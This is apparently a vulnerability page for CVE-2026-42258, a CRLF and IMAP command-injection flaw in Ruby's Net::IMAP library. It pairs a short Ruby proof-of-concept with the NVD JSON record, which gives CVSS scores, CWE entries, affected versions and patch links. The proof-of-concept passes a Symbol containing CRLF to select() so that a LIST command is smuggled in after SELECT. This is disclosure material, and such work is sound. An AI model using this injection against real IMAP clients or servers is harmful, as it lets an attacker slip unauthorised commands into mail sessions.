CVE-2026-42258

require 'net/imap' # Simulating a vulnerable scenario connecting to an IMAP server imap = Net::IMAP.new('imap.example.com') imap.login('user', 'password') # The vulnerability occurs when a Symbol containing CRLF is passed # Attacker crafts a malicious symbol to inject commands malicious_symbol = :"INBOX\r\nA001 LIST \"\" \"*\"\r\n" # Before patch, this sends: 'A001 SELECT INBOX A001 LIST "" * ' # This injects a LIST command after the SELECT command begin imap.select(malicious_symbol) rescue => e puts "Exploit triggered: #{e.message}" end imap.disconnect

{"cve": {"id": "CVE-2026-42258", "sourceIdentifier": "[email protected]", "published": "2026-05-09T20:16:28.623", "lastModified": "2026-05-18T18:02:35.790", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Net::IMAP implements Internet Message Access Protocol (IMAP) client functionality in Ruby. Prior to versions 0.4.24, 0.5.14, and 0.6.4, symbol arguments to commands are vulnerable to a CRLF Injection / IMAP Command injection via Symbol arguments passed to IMAP commands. This issue has been patched in versions 0.4.24, 0.5.14, and 0.6.4."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:H/AT:P/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.8, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-77"}, {"lang": "en", "value": "CWE-93"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ruby-lang:net\\:\\:imap:*:*:*:*:*:ruby:*:*", "versionEndExcluding": "0.4.24", "matchCriteriaId": "05DB8FF3-7546-470A-BBB4-4DCAEAD83D6F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ruby-lang:net\\:\\:imap:*:*:*:*:*:ruby:*:*", "versionStartIncluding": "0.5.0", "versionEndExcluding": "0.5.14", "matchCriteriaId": "2CCEB891-1D8F-4431-A79C-2A7560A84F4E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ruby-lang:net\\:\\:imap:*:*:*:*:*:ruby:*:*", "versionStartIncluding": "0.6.0", "versionEndExcluding": "0.6.4", "matchCriteriaId": "9A6D1995-BFA3-490F-967D-252CA7BE2264"}]}]}], "references": [{"url": "https://github.com/ruby/net-imap/releases/tag/v0.4.24", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/ruby/net-imap/releases/tag/v0.5.14", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/ruby/net-imap/releases/tag/v0.6.4", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/ruby/net-imap/security/advisories/GHSA-75xq-5h9v-w6px", "source": "[email protected]", "tags": ["Mitigation", "Vendor Advisory"]}]}}